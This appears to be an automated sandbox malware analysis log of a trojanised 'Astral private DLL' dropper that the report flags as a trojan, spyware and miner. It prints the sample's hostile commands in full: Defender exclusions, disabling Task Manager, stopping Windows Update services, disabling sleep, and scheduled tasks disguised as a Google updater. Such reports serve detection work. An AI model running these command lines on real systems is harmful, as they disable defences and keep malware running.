Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64BE3C	27_2_00000225DC64BE3C
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64FEF8	27_2_00000225DC64FEF8
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64BC30	27_2_00000225DC64BC30
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC642CDC	27_2_00000225DC642CDC
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AC1658	28_2_00000202C0AC1658
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0ABB23C	28_2_00000202C0ABB23C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0ABF2F8	28_2_00000202C0ABF2F8
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0ABB030	28_2_00000202C0ABB030
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AB20DC	28_2_00000202C0AB20DC
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AF2258	28_2_00000202C0AF2258
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEBE3C	28_2_00000202C0AEBE3C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEFEF8	28_2_00000202C0AEFEF8
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEBC30	28_2_00000202C0AEBC30
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AE2CDC	28_2_00000202C0AE2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612DF2F8	30_2_000002A6612DF2F8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612E1658	30_2_000002A6612E1658
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612DB23C	30_2_000002A6612DB23C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612DB030	30_2_000002A6612DB030
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A6612D20DC	30_2_000002A6612D20DC
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130FEF8	30_2_000002A66130FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A661312258	30_2_000002A661312258
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130BE3C	30_2_000002A66130BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130BC30	30_2_000002A66130BC30
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A661302CDC	30_2_000002A661302CDC
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEF91658	31_2_000002BAAEF91658
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEF8B23C	31_2_000002BAAEF8B23C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEF8F2F8	31_2_000002BAAEF8F2F8
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEF8B030	31_2_000002BAAEF8B030
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEF820DC	31_2_000002BAAEF820DC
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFC2258	31_2_000002BAAEFC2258
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBBE3C	31_2_000002BAAEFBBE3C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBFEF8	31_2_000002BAAEFBFEF8
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBBC30	31_2_000002BAAEFBBC30
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFB2CDC	31_2_000002BAAEFB2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879920DC	34_2_0000026A879920DC
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A8799B030	34_2_0000026A8799B030
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A8799F2F8	34_2_0000026A8799F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A8799B23C	34_2_0000026A8799B23C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879A1658	34_2_0000026A879A1658
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879C2CDC	34_2_0000026A879C2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CBC30	34_2_0000026A879CBC30
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CFEF8	34_2_0000026A879CFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CBE3C	34_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879D2258	34_2_0000026A879D2258
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_0000017953781658	35_2_0000017953781658
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_000001795377B23C	35_2_000001795377B23C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537720DC	35_2_00000179537720DC
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_000001795377B030	35_2_000001795377B030
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_000001795377F2F8	35_2_000001795377F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537B2258	35_2_00000179537B2258
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ABE3C	35_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537A2CDC	35_2_00000179537A2CDC
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ABC30	35_2_00000179537ABC30
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537AFEF8	35_2_00000179537AFEF8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D541658	36_2_000002295D541658
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D53B23C	36_2_000002295D53B23C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D53F2F8	36_2_000002295D53F2F8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D53B030	36_2_000002295D53B030
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D5320DC	36_2_000002295D5320DC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D572258	36_2_000002295D572258
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56BE3C	36_2_000002295D56BE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56FEF8	36_2_000002295D56FEF8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56BC30	36_2_000002295D56BC30
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D562CDC	36_2_000002295D562CDC

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp 4F698FB3C8100837ACB42BEE30B7B0C362BCF6D3C617880BEDC86E1D57C25D11

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: String function: 0017EB78 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: String function: 0017F5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: String function: 0017EC50 appears 56 times

Source: bcapgbqjwdsj.tmp.2.dr	Static PE information: Resource name: DLL type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: IbBZTfZC.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: AvUrEmYP.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: qHqBUadh.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: gYWllyYA.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: QWRgRujm.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: OMvfRcDl.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: nWKkNNTp.log.13.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: updater.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: twain_32.exe.0.dr	Static PE information: Number of sections : 11 > 10

Source: AstralprivateDLL.exe.bin.exe, 00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs AstralprivateDLL.exe.bin.exe

Source: AstralprivateDLL.exe.bin.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Source: ServerComponenthostMonitorDll.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WmiPrvSE.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WmiPrvSE.exe0.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sihost.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: lsass.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: powershell.exe.13.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.mine.winEXE@91/54@2/0

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_00166C74 GetLastError,FormatMessageW,

1_2_00166C74

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B02328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

20_2_00007FF603B02328

Source: C:\Windows\System32\dialer.exe

Code function: 20_2_00007FF603B01AC4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

20_2_00007FF603B01AC4

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0017A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

1_2_0017A6C2

Source: C:\Users\user\AppData\Local\Temp\twain_32.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: C:\containerperf\ServerComponenthostMonitorDll.exe

File created: C:\Users\user\Desktop\IbBZTfZC.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-iaIcn2RAvedg70EnUwKf
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_03

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe

File created: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" "

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Command line argument: sfxname	1_2_0017DF1E
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Command line argument: sfxstime	1_2_0017DF1E
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Command line argument: STARTDLG	1_2_0017DF1E

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AstralprivateDLL.exe.bin.exe	ReversingLabs: Detection: 60%
Source: AstralprivateDLL.exe.bin.exe	Virustotal: Detection: 72%

Source: unknown	Process created: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe "C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe"
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe "C:\Users\user\AppData\Local\Temp\Astral private DLL.exe"
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\twain_32.exe "C:\Users\user\AppData\Local\Temp\twain_32.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\containerperf\ServerComponenthostMonitorDll.exe "C:\containerperf/ServerComponenthostMonitorDll.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\lsass.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF04D.tmp" "c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP"
Source: C:\Windows\System32\lsass.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe "C:\Users\user\AppData\Local\Temp\Astral private DLL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\twain_32.exe "C:\Users\user\AppData\Local\Temp\twain_32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\containerperf\ServerComponenthostMonitorDll.exe "C:\containerperf/ServerComponenthostMonitorDll.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline"	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Process created: unknown unknown	Jump to behavior
